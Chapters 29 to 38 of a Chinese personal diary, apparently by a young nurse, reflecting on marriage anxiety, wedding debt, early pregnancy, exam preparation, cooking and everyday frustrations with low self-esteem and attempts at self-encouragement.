    最近的负能量很多。因为快要结婚了。我发现最近很多的同事结婚了。他们的婚纱照很美很美。婚宴很盛大。我也想拍好看的婚纱照，可是我发现预算可能不够，他们的老公都很优秀的感觉，虽然我都不认识我也没有见过但是并不妨碍我会有这种感觉。这种念头让我感觉我的内心散发着腐臭的味道。特别的不爽。
    也许我的内心里非常的向往很美好的场景很美好的事情。让自己很有面子很开心。可是我并不合适这样子的场景。因为好贵，实现这样子的事情对我来说是智商税。脑子就像在不断的吵架一样充满了很多的纠结。
    希望简简单单的事情也能让我感觉到开心吧！
    选择什么很重要。选择了就走下去。不过想要走的好一点还需要克服很多的困难。我现在想到未来要面对的困难我就不舒服。非常的焦虑。孩子还没有出生，连个受精卵都还没有形成就开始烦恼奶粉钱，纸尿裤该怎么买？以后小孩子怎么待的问题。估计一结婚就是打算怀孕的事。然后就是丧偶式育儿，然后就是一系列的烦恼。可能未来我过的并不是很好。很多问题的解决方式不好，我们有可能以后会吵架，会有很多的不快乐。可能时间久了他会劈腿，我也会。然后可能会一个家越走越散。没有车没有房的我有可能会流落街头，没饭吃被人嘲笑然后饿死或者受不了这个气就被气死了。
    事情变得那么糟糕是因为他这个人还是我这个人呢？是因为我们在婚姻里需要学习和成长的事还没有及格。什么什么心理学，我不想看，我为什么需要学习这个？好烦啊！
    理智一点，可能日子可以过的很好，可是心情很不开心。不理智一点，可能情绪上得到了很多的满足，可是事情可能会变得很糟糕。为什么不选择一个心情很愉悦，又不会伤害对方和自己的方式生活呢？可能谁也不知道这样子的方法是什么吧！或者知道，可是太难坚持了！
    很无奈，我就是这样子的我！

 第29章

    我以为29已经写好了！试了一下用电脑写！发现我看不到字数！可能我还是不太会用吧！
    结婚了！真魔幻！
    结完了突然之间就想离婚！我感觉自己有毛病！不轻！
    可能是一个人单身太久了，有点不适应！一开始都在担心，对方会不会其实并不喜欢自己，或者会不会新的家庭，其实并不接受我，其实他们都暗暗的很讨厌我，但是又因为没钱所以在忍受我！
    去观察我自己的条件，其实我的条件不算很好！因为我懒，没有生活的热情！很多东西都是学一遍就放弃，没耐心，没有头脑，很多为人处世都有很强烈的讨好意图！很容易因为这种状态而使对方离开自己！没安全感！不管看多少让自己有安全感的文章，我都没有安全感！
    现在结婚的时候终于知道后悔了！后悔没在年轻的时候多挣钱，有能力有很强的心智。没有足够的金钱，就算单身也不怕人家讲！单着就单着有没有吃你家大米！
    为什么就结婚了呢？我习惯了单身啊！！！！我感觉我的内心还是个小孩子，可是我需要面对未来的生活未来的生活可能是暗无天日的，想想就累啊！
    今天有很多的小事让我感觉自己是个废人了！可是我嫁人了，让我感觉我嫁给我老公，感觉挺让他吃亏的！因为我感觉我脑子不太好使，生活里很多的事情都不能做的很美！然后很多东西都是忘东忘西的！我真的对我自己很无语！我不知道该怎么评价我自己！
    有点无奈啊！
    最近看了一些负面新闻，我感觉自己又有一点神经兮兮了！总感觉很多的错都是我的错，像日本排核废水。。。。我与它之间相隔十万八千里还要远，但是我总感觉这是我的错，如果我没有看到这个新闻我应该不会感觉这是我的错吧！也许！我真的是无奈了！但愿世界会变好吧！但愿如此！
    本来今天想去上香的，可是顺路的寺庙在修善。过段时间再去吧！
    真的搞得我心神不宁的，我需要上香为自己祈祷一下！
    我人生中第二次真菌感染了！这次应该是身体免疫力下降导致的！我的天哪！也太痛苦了！很想去散步早上坚持下去，让自己身体好一点！然而我并没有执行！真希望我能执行！
    2020的FLA G居然实现了五条！真棒！虽然我的目标才十条，但是也是可喜可贺的！开心！
    2021的FLAG:1、做五十道菜，并且记录下来！
    2、提升自己的技能！考驾照！
    3、随便涂鸦五十张，并贴在墙上！
    4、学好美食摄影！
    5、工作里的题目好好复习好好做，认真对待！
    6、操作考试及格至少两次！
    7、珍惜当下，过好每一天！
    8、整理家务！
    9、好好吃早餐！6
    10、爱惜自己的身体，好好锻炼，散步！
    以上就是2021的目标了！希望我能实现吧！2020的年度目标也很简单！可是仍然只做到了五条！虽然一点都不想批评自己笨，但是这是我的事实！无法遮掩！
    我很无奈！我希望我面对这样子的我自己，我仍然会喜欢着我自己！哪怕一辈子都是平庸的，毫不起眼的！

 第31章

    人生确实很难啊！
    要省钱了！
    因为欠了很多钱！结个婚居然需要花费那么多而且只是结婚，而且并没有车没有房，也没有存款！这些天，我感觉到了很多很多的失落！因为有了对比就有伤害！很多的事情其实我心里面挺清楚的，可是不知道为什么就是忍不住想要抱怨！而我并没有能力去改变我的抱怨，因为这是现实情况！说话越来越难听，造成的情绪炸弹是很可怕的！
    我感觉自己已经一无所有了！以后也会失去很多！其实我知道在这个世界上女孩子真的很容易失去很多东西，做好了心理准备，仍然会感觉到自己在抱怨！太过于期待美好的生活了！看看我的前辈们他们几乎都是四五十岁才拥有房车的。我也太急躁了吧！我们才二十六岁左右！所以选择开心一点吧！正是一无所有才会拥有乐趣，看我能不能在困境里面保持良好情绪，能不能手里握着一把烂牌把它尽能力稍微打好一点！
    每个人有每个人的福运。我很羡慕那些嫁得好的人！可是也需要好好的在自己的路上好好修行！毕竟世界里有两条路选择了哪一种滋味都不一样！好好的体会吧！
    最近需要想想省钱的法子了！菜钱要省！可是需要保证营养均衡！看一看不必要的花费有多少？人情世故需要多少花费？这些东西很久没有记账了！真的需要好好整理了！我需要变得精打细算，我需要保持情绪稳定我需要好好的去爱护自己的身体，我需要去锻炼身体！。。。。总之，需要改变的东西很多很多！
    因为如果以后还有了孩子，以后就更麻烦！两个人活着尚且艰难，再来一个人确实还更难！
    妈的，然后需要提升自己的能力，因为再怎么省钱也就这个样子。开源！可是我好像并不知道有什么方法是我适合的？很多的东西都是骗局！所以还是写文吧！可是写文好像也并没有很大的进步！真的是无奈至极！
    能找到让自己更自信的东西在什么地方呢？
    希望我能找到吧！
    经历了一段很开心的历程！结婚一开始还是很快乐的，特别的美好，我的情绪非常的开心！也很感谢这段经历，以后在黑暗的日子里它就是我心里的光！
    生活里的小细节确实挺浪漫的！生活里的苦难也确实是从未减少的！
    加油吧！
    加油吧！
    努力吧！
    老公说他很感谢老天爷会把我留给他，而我真的会很抱怨老天爷把我留给他！
    因为我也是个工具人，一样，没有为自己而内心真实的活过！
    将来也只是工具人的延续！

 第32章

    今天下晚班！
    三八妇女节，睡了很久！做了孕检！好像我并没有到时间！还要到下一次才到时间吧！
    做了一个梦，梦见老公和我说:他不喜欢我了！没由来的突然哭了一会儿！怀孕了应该不会抑郁吧！怎么会这样子？
    今天到了百香果，挺好喝的，喝了两杯！加了蜂蜜酸酸甜甜的！好想去做百香果柠檬鸡爪啊！可是我行动很迟缓，拖延，好希望自己不拖延！
    晚班的时候看了好久的书，我不是很记得住，因为我的学习规律是需要学习四十几遍，才能把那段内容学懂！所以我很用功，我需要更加用功！
    做了一会儿驾考的题目！我感觉驾考很难，因为我会晕车，尽管很多人都和我说，自己开车不会晕，可是我有点怕！
    今天下班的时候吃了同事的饺子，那是她家婆包的，好好吃啊！我也想学会来做饺子！
    我需要学会来控制自己的言行了！我认为我有点想要引起别人的注意力，所以喜欢想一些稀奇古怪的想法，可是我今天看到了一个博主，听说她的内容很好，可是退掉了，因为不当的言论！听说是原创者，有点可惜！我也有了自己羡慕的博主，我也想借鉴他们的生活方式，可是如果做了是不是也叫抄袭呢？有点纠结！不过很多东西我是模仿不来的，因为需要很好的思考！规划！设备没有设备，然后东西没有东西，顶多也就学会怎么好好生活！这也是抄袭吗？不算吧！
    想买的东西，有点多，可是兜里的钱包不舍得，慢慢的计划实现自己的梦想吧！
    好想吃果子，感觉自己的嘴巴快要烂掉了，吃上火了！
    老公在打游戏，我一动，他就没打准！有点不开心，是在责备我吗？我也想玩游戏了，我也想玩，我手机没电了，其实我更想学习，可是我不知道为什么没花时间我有点讨厌我自己了，我过得生活和我期待中的不一样啊！期待中的自己会做很多很美味的饭菜，对人生充满热情与动力，会神采奕奕，精神饱满，会好好学习！然而现在的自己真的是完全就在往相反的路上走，根本拉不住！其实享受当下的开心也挺好的，可是我并没有感觉到特别的快乐，也许不需要努力的人生就是感觉不到自己的活力吧！每次看喜欢的博主，他们做一件小事，就花上好几天的时间，去琢磨，自己看了之后会感觉很感动，他们快乐了，我也这样开心！可是我也很想这样子啊！面对困难不会退，会坚持到底！
    不过我只是想一想！
    我的命格里是我做事情会三心二意，三分钟热度！可是如果一切都是命中注定，那也太无聊了吧！我希望我有所成长吧！希望我会克服我的困难！来自心灵的困难！
    今天，我又想起了我嫉妒羡慕的人她花了两个月的时间绣好了一副十字绣，我好羡慕她啊！我的十字绣已经很多年了，都没有绣好，我好想绣好它！只是为了让自己开心而已，虽然没有什么价值，但是我仍然懒懒散散的！
    希望我能完成吧！

 第33章

    今天我吃完了我的板栗好开心！今天我做了三十道题，今天我看懂了好几页书！这是我今天的收获很开心！
    我发现同事的记忆力很不错，很多的人她都记得到，她的优点是非常的自信，我认为她是比较聪敏的！因为她96年的，96年的人一般都比较聪明！
    今天看了不少小说，这几天都看上瘾了！主要是因为有的小说内容触动了我的内心！一个是校园暴力的事，一个是医患关系的事，都让我很感动！还有一些古代快穿的故事，虽然有很多人说那本小说不好看，可是我看了收获比较大！因为里面讲了一个家庭里面学生的压力好大，所以导致学业没有进步的事！因为我想到了妹妹，妹妹上高中的时候，她的学习压力很大，我很想去安慰她，可是没有起到很好的效果！看完这个故事，我突然明白了很多！也很抱歉我太年轻了，没有帮助到她！
    现在我看着我的同事！她可能也有一些烦恼，不过我没有办法解决！
    她也很喜欢看那些故事！不过她是在抖音上看的，听到了很多奇葩的内容，听的我也感觉很奇葩，不过我不想好奇！我不知道怎么分析她的心理状态，可是我还是比较希望她能把心思放在学习上，因为过段时间她就要考试了！我也是快要考试了！情感上的学习很重要，那些故事很好听，新奇，因为可以增长我们的智商，让我们更有人性化，感觉自己活的像个人，对苦难的人富有同情心，爱心，和捐款什么的差不多！可是我感觉在学习最紧张的时候去看这个。比如我看小说看视频，有一点点心里不舒服！我还是比较希望自己能够多看书，多学习，考证还有学习对我来说很重要，它几乎可以让我工作带来受益！
    看小说对我来说是非常放松的，可以去体会很多不同人的人生，有的时候一些生活感悟会让我去改变我对于别人的偏见！
    几天前我看同事是非常不顺眼的，因为她一边抱怨工资少花销大，然后又不停的买外卖奶茶，这让我不是很能理解，可是我又经历过一样的事，那个时候我刚上班没有多久也是特别的感觉累，心累而不是工作累，就会想买很多吃的，花的，就像自己被鬼扒住了一样，不停的想花钱，才有快感和幸福感！所以经历过这段时间，我明白别人为什么很爱花钱！
    因为不快乐，不快乐的人是要交智商税的！这是我对我自己的理解！那段时间我并不是很开心，所以我想要花钱让自己开心！现在的自己是属于开心的状态所以能够忍住，或者没有太多的物质欲望！
    然后我对同事确实有了一些偏见，可是每个人有每个人的人生！大道三千各自精彩，如果所有人都过着一摸一样的生活那么会有多么的无趣！所以我需要学会不带偏见与傲慢去看待事情！看别人花钱就想象这是自己花钱就好了，自己还能省一笔钱，还有开心的感觉，没必要去排斥人家！
    因为很多时候我也花不少钱！只是消费观念不一样，没必要去讲别人，讲了人家很烦！我发现我的情商真的很需要提升！能够让周围人快乐开心也是一种本事！
    今天来了几道送分题，可是我并没有做到最好！下意识的就杠精！虽然能够给人家带来不同的思路，可是与女性相处，人家想要的其实并不是我的思路，而是我能照顾对方的情绪，所以我真的需要长进，我该如何长进。分析！而学业兼顾！这是一件很值得挑战的事情！
    我是一个非常理性的人。理性是我的优点也是缺点！感恩它能带给我很多智慧，也需要在理性的基础上加入感性！让我变得温暖！
    怎么样才能温暖人心？这是我该学习的人生！

 第34章

    今天的心情不算愉快！内心里感觉到自己很多的抱怨！也许快到了星期天我的抱怨值就要爆表了吧！
    第一个埋怨老公下班回家敲门不会发出声音或者报出自己的名字，就一直在敲门！我讲了两三遍，可是他回来还是忘记了！每次敲门都让我感觉很恐慌！如果不问再开门就会没有安全感！
    第二个！今天上班有两个家属没有带口罩，叫他们戴口罩，他们比较凶。还说其他医院都不用戴口罩，就那么进去了，另外一个堵了他，他好气，走的时候还骂我！我的内心真的是非常的难受！希望我们县可以早点打新冠疫苗吧！好多事情都让人很难受！不做吧！是自己失职，做了吧！人家根本不鸟你，不听！打又不能打，也打不过，讲理人家又不听！世界真的是又魔幻又美好！还好我只能活到六十岁！多活一天都感觉到了心累！
    第三点，抱怨自己吧！其实我好想做泡芙，还有蛋挞还有包子！可是我没有动手！我应该计划一个时间吧！我想要去执行！今天看了好多好多泡芙的视频。还有包子的！好想做呀！冰箱里还有一些饺子皮还想做玉米猪肉馅的饺子！好想做啊！好想做土豆饼啊！好想做吃的！好想行动！明天白天休息好就去吧！今天晚上上晚班，白班是因为同事她有急事没有办法过来，所以请我帮她上一下！
    总的来说，我需要调整我的心情！不要丧！不要丧！我会不会对我们的人民失望呢？我在问这个问题？可是这个世界上有各种各样的人，一样的米养千样的人，不要对别人抱有期待！就不会有抱怨吧！毕竟每个人看到的都不是一样的世界！可是我心里会比较难受！我也不能骂回去！可是我想骂回去，我那么愤愤不平就是因为我感觉我的心情受到了伤害！可是我的职业不能！因为到时候挨骂的还是我！
    第四点！我感觉到了老公嫌弃我做的菜！他夸了我做的饭菜好吃，可是我感觉到的就是敷衍！可是我又不能强迫他说我做的菜好吃！所以提升厨艺吧！挣点气吧！买菜买多了冰箱会放不下！然后自己又去家公家婆那里吃所以多了会坏掉！所以我需要学会怎么去买合适的量，不会多也不会少！真的有点烧脑啊！
    如何才能让自己平静的心无挂碍呢？
    今天开心的事！整理了一下床，开箱的柠檬很好！调的柠檬百香果蜂蜜茶很好喝，做的芋儿鸡好吃！老公工作比较忙，他说请假给我去产检，虽然他来不来我自己都能搞定，但是这让我很开心！吃了两个鸡蛋，鸡蛋是童年里最想吃的食物，长大了有了一箱鸡蛋，可是却没有了那种开心的感觉，今天终于吃了两个，真好！要给肚子里的小崽儿补营养！
    我好想散步啊！昨天还想写文，可是我没有灵感了，现在也没有！不知道为什么会这样子，也许是情绪过了吧！情绪来的时候特别的愤怒，可是那个时候并不想写，情绪过了又写不出来了！感觉人生好无聊啊！我需要给自己加点乐趣！
    结婚了之后我更懒散了，可是我不想这么懒散，好希望自己勤快点，在工作上和学习上！学习的时候会分心，专注能力需要提升！不学习的时候又特别的想学习！很神奇！不过在这种状态下我今天还是看了好几页书，很不错值得表扬！还有一些神奇的知识是我从来没有学过的，我感觉有一点点提升！脊椎里的神经纤维的分布区域，还有卵巢的生长，还有肾脏的一些知识，有的是我之前接触过得，有的是我之前没有接触过得，还有双胞胎的形式，有的居然有两个羊水囊，有的只有一个！所以很不错！有长进，开心！
    虽然这些长进对我来说，我还想要更多，我很想把很多的知识都装进我的脑子里，但是我还不能！这也算是一种欲而不得吧！
    不要强求自己啦！有一点点成长都好好赞美自己吧！其实自己心里也明白自己的状态是什么样子！我需要自信，我很羡慕很多人，我好想可以成为很多人的粉丝，可是我也想成为我自己的粉丝！我总感觉自己很多东西都很糟糕，没有长进，可是我也想有所成长！成为我心里最喜欢的自己！
    越长大就越不会对别人抱有期待了，哪怕那个人是老公或者父母！这个世界上能够去期待的只有自己了！因为他们都不是我自己，看问题的角度都和我不一样，想问题的角度也不一样，所以我需要学会专注自己的成长，成为自己想要成为的人！从周围人学到的选择快乐，坚持，自信，富有同情心，把他们的优点学成我自己吧！三人行，必有我师焉。择其善者而从之，其不善者而改之！

 第36章

    今天去练操作，我发现大部分的人一开始都是磕磕巴巴的！我对操作考试的恐惧少了一些，因为我以前碰到的同事他们都很溜，然后每次练习都会很紧张，发现自己和他们的差距太大，就越来越不想练，然后分数就好低，今天发现大部分的人一开始都是这个样子，然后多练几遍就好了，越来越顺！这样子也挺好的！
    今天练了一项！当时并没有其他人，所以有很多的东西准备的不是很齐但是也还好，至少流程之类的记下来了，以后的的话需要把细节和时间把握好，还是要去其他科室蹭啊！脸皮一定要厚，不管别人说什么！能学到一点学一点！
    今天发现同事的耳钉很好看，我也好想带啊！想买，可是我的耳洞很久没有用过了，好想戴，如果要戴的话，我还需要买一瓶酒精，怕自己会发炎，等我考完这次考试来！我就买一对吧！附近有一家店的耳钉挺好看的，不过我不能选花花绿绿的，需要选择比较儒雅一点的！然后一定要很微小！不会引人注目的，因为我们上班不能带这种东西吧！可是我去其他医院看到了人家科室带，然后他们说其实耳钉可以带，不能带长的耳坠！所以我也不太懂这个！想买！
    还有几天了，需要做题了，需要准备考试了！加油吧！
    今天有一点点拖延，本来两点半去的，可是拖到了三点多才去，不过我也看到了一些东西，然后走了，因为人家科里在吃东西，不好意思蹭吃蹭喝，毕竟我从来都没有请过客，因为我胆子很小，不太会说话！
    今天做了一个测试，发现很多的自尊心，什么吸引力什么的都很低，花了二十块钱！然后根据推荐去看了一个电影！《瘦身男女》，我是用双倍速去看的，仍然很好看！两个胖子，女胖子喜欢的人变成了明星，然后男胖子坚持不懈的协助她减肥的故事，然后两个胖子都变成了瘦子，男明星和他的未婚妻变成了胖子。。。。挺好看的！刘德华郑秀文演的！还是比较佩服那些不会轻易放弃的人，有点感动，特别是最后女主角去看自己十年前的男朋友，不小心知道男胖子花钱让人打他挣钱的事！
    十年以后，我们会仍然爱上十年前自己喜欢的那个人吗？前几天看到一句话，一个人说在梦里面梦见了自己喜欢的人，另一个人说梦见三次那个喜欢的人，也就没有缘分了！我好想忘了！我没有喜欢上十年前喜欢的那个人！执念居然没了。。。有点意外！也有可能是因为现在的自己过得比回忆里更好一点，所以没有去回忆过去了！大概吧！我也不知道什么原因！我想有缘分的人，会碰见一个人满心欢喜，两情相悦，变得更有动力去靠近彼此！而我和十年前喜欢的人不是这样子的，我们让彼此都特别的痛苦，耽误学习，并没有带给双方很好的益处！放弃是一件非常痛苦的事，我经历了也明白了！我希望很久很久以后得我们会变得越来越好，无论是他还是我，也许在我们老了以后子孙满堂，白发苍苍，都不曾再次相遇过，可是我仍然希望对方会是好好的，天各一方，开心的活着！为什么自己会希望永远都不想再次相遇，因为再次见面会很尴尬，然后我的内心并不会很平静，我会特别的希望对方过得很惨惨不忍睹的那种，有一种我就是过得比你好的奇怪的情绪，我并不明白我为什么会有这种情绪？我不太理解。可是我并不想伤害对方，包括我自己！所以我认为现在挺好的！只需要想办法解决一下，为什么我会变得拖延的问题？
    拖延对待人生没有活力！这是我内心的问题！我需要找到我人生的活力！
    可是该怎么找呢？
    需要好好动动脑筋！
    我会选择让自己开心的事吗？我希望我会这样子选择吧！
    我该怎么样去塑造我自己呢？怎么样才能让自己从心灵和智慧都处于一种相同的路线！不知道为什么我昨天会梦见一个自己！梦里面的自己是非常优秀的。智商很高，知道这个世界上怎么选择会对自己有好处，正确的好的那种！可是梦里的自己内心是非常迷茫的，迷茫为什么身边的人会选择错误的生活方式，迷茫很多的东西，尽管知道这个世界上有很多对的事，做对的事会让自己变得对不对的事感到好奇！认为不对的事更有趣！就像一些小说里形容的女配！不会做饭，只知道点外卖，很多的泡面盒子，很多情绪。为鸡毛蒜皮的事情发火，然后女主角贤良淑德，会做饭，情绪很好，温柔，各种优点，可是男主角没有看到她，选择了女配，然后和女配过得很不爽又喜欢女主角了！然后再和女主分离！这是年幼的我看的，后来我过上了和女配一样的生活路子！我无法理解为什么我不会打扫卫生，为什么我会那么丧！也许是因为这篇小说的阴影吧！想一下也是那么好一个女孩子，居然没有得到珍惜，然后女配得到了！还不如过女配的生活！男主和女主分离的原因，写的比较模糊，大概在心里的印象是女主角碰到了女配，女配和女主说他们还相爱，然后女主就退缩了，还是因为男主角在梦里喊了女配名字！反正小说看不懂！可是我不想过女配的生活啊！这个狗窝什么时候才能改？我希望我的生活是美好的，温馨的，因为这样子干净明亮，对生活充满热情，可以让我挣很多钱！分享自己的生活妙招，学习的东西，美好的审美，可以挣钱啊！
    整洁干净，这是给自己的投资理财！既能给他人一个自己是比较优秀的好印象，又能学会更多的技能！而且收益是非常大的，等我老了以后，去回忆我的过去，就算不是闪闪发光的，也不会留有遗憾！
    每次都很想抱怨的就是自己一事无成，可是为什么自己的内心会去选择一事无成呢？我不明白？想明白，因为不想再经历痛苦的事！也许越抱怨内心就在实现我的抱怨吧！人生里就像有一个魔法师一样。会实现我们心里最真实的愿望，抱怨也是一种愿望，所以我需要改变自己的心态！用积极的心态去生活！
    不过不是每一个人都是充满正能量的，时时刻刻的，所以到了负能量满满的时候，我需要学会怎么调整自己的状态！
    今天听到朋友辞职的消息，有点遗憾，因为我认为她比我小还有几年的时间努努力就能进入更好的状态！不过也许人家家里找好了呢？不清楚，听说要和家人一起去外地工作！只能祝福吧！反正这也只是听说而已啦，希望对方在未来的日子里过得好吧！

 第37章

    今天，感觉自己腰膝酸软！一天都没有力气！估计是因为我没有吃到那么多盐，平时太清淡了！中午煮了海带鸡汤，加了一个苹果进去，汤很鲜甜，很好喝！可是下午去医院学习，看了好多遍前辈的操作，发现她们都在卡时间了，速度挺快的，技巧就是说话速度快！不过下午我没有去练习！五点左右就去买菜，本来想散步的，可是没有什么力气，腿很酸，也有可能是因为我加了苹果的原因！可是之前我也煮过苹果汤喝，没什么问题啊？
    想不通！今天喝了很多牛奶，加了一些红枣，和燕麦，牛奶是冷的，所以燕麦可能没有泡开不太好喝！可是红枣很好吃！然后本来下午也是吃海带鸡汤的，海带已经泡好了，不过老公说回家婆那里吃饭，所以也就没有煮，可是泡好了，所以我就顺便做了凉拌海带丝，百度的方法，第一次做，很开心，挺好吃的，我感觉是因为有醋的原因，酸酸的特别的好吃，突然之间想到了之前丹丹推荐的嗨吃家的酸辣粉，之前一直都认为这个很难吃，因为醋我几乎不放，然后有一天我碰到了她，她说那个粉一定要放醋，醋是灵魂！试了一下特别的好吃！不过可惜现在怀孕了应该不能吃这个吧！
    逛了一下拼小圈，发现很多领导都是用拼多多买东西，也是小件的东西，我认为挺好的，很接地气，一起省钱！我发现其他同事买的东西特别的划算，羡慕！人家会过日子！毕竟我想省钱买房呢！看了一下二手房！挺贵的！老公是搞设计的，他特别的希望买一个新房子，然后按照自己设计的房子来！我们可能会买新房子吧！毛胚房！不过这也需要十年以后！
    我需要好好做作业了！需要好好的学习！我大概练习了四项的操作，还有九项还没有练，练了的那些还没有非常熟练！今天的操作我还比较满意，做的很棒，我没有卡时间，可是我对我自己挺满意的！
    希望再接再厉吧！
    今天搞好了卫生。特别是水池，水池真的很难搞，碗留了很久很多个，洗了一中午终于洗干净了！突然想到了一个电视剧，里面的女主角她的能力就是工作很焦虑的时候就一直打扫卫生，所以她的房间非常的整洁干净！我能有这样子的习惯就好了！也就想一想！不过好干净了，就是特别的开心，今天洗头了，以前都是每天洗头，结婚了之后我就懒了大概两天洗一次，有点不自信了！洗头可以让我更自信一点！
    昨晚凌晨睡的。在看《恋恋笔记本》，开了三倍速看的，一倍速的时候可以感受到电影里男女主角的感情非常的打动我的内心！三倍速的时候就是一直都在看剧情！因为太晚了，所以就看了剧情！特别的让我感动吧！一个富家女和穷小子的爱情故事！勇敢的选择自己喜欢的那个人是非常的的开心一件事！可是人生不是每个人都是那么勇敢的，可是我很欣赏这种勇气，故事是倒叙的，很开心的是两个人幸福到老，他们一起离开人间的结尾，挺暖的！羡慕！
    今天看了一些up的备菜视频，我也备了一些菜，胡萝卜和up的很像，好好的保存起来了！把娃娃菜带去家婆那里了，因为我发现现在的我自己不喜欢吃娃娃菜！然后我发现我有很多时候都是去家婆那里吃饭，而up是一个星期备一次菜，所以她备的菜都可以吃完，而我买一个星期的菜根本吃不完，因为会去家婆那里吃！所以还是需要好好计划一下，不要买那么多的菜，上次老公买的猪肉和鸡翅我还没有吃！一直冻着！有点无奈，冰箱里还有一些土豆泥，蒜，葱，鸡肉，上次爷爷带给我的，冷藏那里还有五六个柠檬！百香果在冰箱旁边放着，我感觉我应该需要吃掉百香果了，我超级喜欢酸酸的食物！希望我会早点吃掉吧！
    醋真的很好喝，可是我的身体吃醋的话很容易不舒服，因为中气不足还是因为湿气太重？？中医的东西我不太懂，只知道会不太爽的样子！所以我需要少喝点！可是调味剂么有醋实在是太难受了！但愿我能想一个好方法吧！
    最近听了一些瑜伽语音，心情变得好多了，我特别的害怕瑜伽会对我不好，因为有一段时间确实让我很紧张，不过仔细的想一想很有可能是那个时候的我自己特别的难受，内心悲伤到了极致，虽然理智上知道怎么做可以让我自己更加的幸运幸福，可是内心里却不想，因为内心很悲伤！不管我用什么办法都没有办法解决这个悲伤，所以我需要坚持我的老本行，然后需要好好的沟通与我自己，去听听我内心里的想法！不然什么办法都没有用！
    昨晚突然想吐，突然想到，我其实并不懂什么叫做爱！我也不太明白我还没有小孩子，我不确定我是否能够给她他带来快乐幸福，可是我会选择去学习，和成长，也许我并不是一个很合格的父母，因为只有宝宝她来到这个世界我才开始当妈，所以我还有很多需要学习的，不止是现在和以后！我不懂爱会是什么可是我会选择学习的！
    今天突然看到一个信息:刀子嘴豆腐心！可是也有人说刀子嘴豆腐心的豆腐是会砸死人的豆腐！也许之后我成为妈妈，也需要学会这一点，不要去随意的打压小孩子吧！
    明天早上买包子吃吧！结婚了之后，都是吃包子了，因为起不来做早餐，太晚睡了！现在就好晚！
    我现在的脑子还会很兴奋吗？我也不知道？因为我几乎每天都的晚上都特别的兴奋睡不着，然后休息的不太好，我感觉这是神经衰弱，可是我又不是医生，不能随意的去怀疑我自己，因为我之前也是没有什么问题老是会怀疑我有什么问题，搞得医生对我很无语，她感觉我太紧张了，心理毛病就是那么无奈啊！我真希望我能考到心理咨询师，可是这个需要本科才能考，我现在是拿到了大专证，我需要自考本科，考完医院的考试我需要去好好看考本科的内容了，虽然专升本只需要188分，可是我自己没有把握，因为英语不太好记，我感觉英语太难了，然后自己所学的内容，很需要理解，我认为我现在的状态特别的容易分神，所以很难专注起来学习，学习的效率是事半功倍的样子！这都是我的现在存在的问题，虽然学霸的方法是学了很多，可是用起来就是另一回事了！但愿我能解决我的问题，坚持学习下去吧！希望我能学会与我自己沟通，拿到了证的话我就能更好的理解我自己！拿到了本科证，我考中级护师也就可以省一些时间！加油吧！
    可惜了我的会计课！无奈了，我精力有限，可能今年不行，明两年也不行！有点无奈吧！本来如果老公以后需要开店的话。我可以帮他，帮不了他！
    今天听到了一些话语，我毫无反应，仍然好好的学着我需要学习的内容，可能别人并没有故意说给我听的吧！以前的话我很敏感，现在毫无反应，我的内心成长了，有进步了！真好！
    又是凌晨了，我完成了两千字一天，嗯完美！

 第38章

    今天想分享一下这几天看到的故事！一个写间谍小说的作者，居然真的是间谍，然后抓进局子里了，然后一个写盗墓小说的作者居然真的是盗墓的，被抓了判了八年！也许我的文章水平如此一般就是因为我是一个平凡人吧！想一想也就释怀了，之前看别人的小说都是大佬级别的，内心充满了羡慕也充满了沮丧，估计这一辈子都没有办法达到这个高度，所以内心里拥有了很多的失落感！看到这些故事我会有有一点点释怀，因为我并没有经历很多事情，所以也就是没有写的很好，也就很正常了！
    很想这一段文字:水能载舟亦能覆舟，可是遇到了狂风巨浪海啸，再好的船都会粉身碎骨，可是摧毁的力量是水的意志，而身为掌舵人，即使遇到这样子的境地也尽力决战到最后一刻，只有我们自己才能决定我们一届的意志！
    不知道为什么突然想到了，写下来也挺好的！
    今天我本想练操作的！可是下午吃饭了！发现孕妇不能吃太多的海带！然后很紧张，翻了无数遍的搜索引擎，依然是这样子！可是真的很让人讨厌，想吃的不能吃，现在看到鸡蛋我已经快吐了，可是哪里都是说这个很有营养！我真的吃不消这个腥味！家婆买的新鲜鸡蛋！鸡肉也是，也吃了不少，可是真的很没有胃口啊！我一点也不想吃这个！太难受了！可是这个是对宝宝好的东西！怎么样才能让自己有胃口呢？又不伤害自己！食谱买了，可是有的食物根本没有！
    有一些水果吃了一次之后就不想吃了，口味变化的特别的快！真的很特别！
    越是压抑自己的想法越是会冒出来想吃！
    别的孕妇都是想吃啥吃啥，为什么我那么纠结，那么龟毛！不知道啊！
    没有怀孕的时候，关于孕妇的什么都不是很懂，怀孕了之后，感觉很多的东西都特别新奇！有些没有懂的事，也懂了！像b超四维，Nt虽然老师讲过怎么回事，可是仍然晕乎乎的，可是自己经历了一遍就知道怎么回事了！
    这也是一个成长的方式吧！
    最近一起上班的医生长了好多痘痘，我其实也是无心说的，好像也不是我说的，明显可以感觉医生有一点点不开心！可是我后知后觉，以后要记得不用那么粗心，让人不开心的话最好就不要说！
    上班的意义是什么呢？我也不知道？有的东西感觉很假，很不真实，所以这也许是人生如戏，戏如人生，我们拿到了这个角色都好好演吧！至少有工资，在发工资的时候，能够喝上自己喜欢的那杯小酒，或者零食，水果，穿自己喜爱已久的衣服，或者种种！大概这就是工作的意义吧！
    我会幸福吗？我也不知道？这个世界给了太多的不确定的因素了！在一天开心一天！
    今天是星期天，本来我今天想哭的！
    老公果然是逗比，有点难受不出来！他说没有我在身旁的日子一直在失眠，就和被鬼打了一遍一样，没有休息好，我有点无奈?_?｀又想笑！
    看不出来我还有这种疗效！
    做完了我的题目，还好，可是我仍然还需要做一遍吧！再做一遍就考试，应该来的及！
    操作今天没有练，因为要回家婆那里，家婆晚上九点半下班，家公清明扫墓可能天气太热了，有点不舒服，弟弟就一个人在家，所以老公要回去！然后就这样子了！
    看来下次下午下班，我就先去练操作，然后再回去吧！
    我想把我冰箱里的土豆泥扔掉了，因为我感觉太久了！下次还是不要备很多菜，就备三顿的菜就可以了，然后就可以好好的吃吃喝喝了！
    很想买水果吃！黄瓜想吃！对身体好，圣女果也很喜欢，最近是三个多月了，应该要吃核桃松子，葵花籽之类的了，我很喜欢嗑瓜子，有点开心！买一些原味的！核桃很难剥，可是网上有神器，可以买到来！那些零食都只需要买一点点，因为我怕吃不完！我应该还有很多苹果。我需要多吃一些苹果。上次吃了几个苹果，大便通畅不黏腻！感觉很爽！
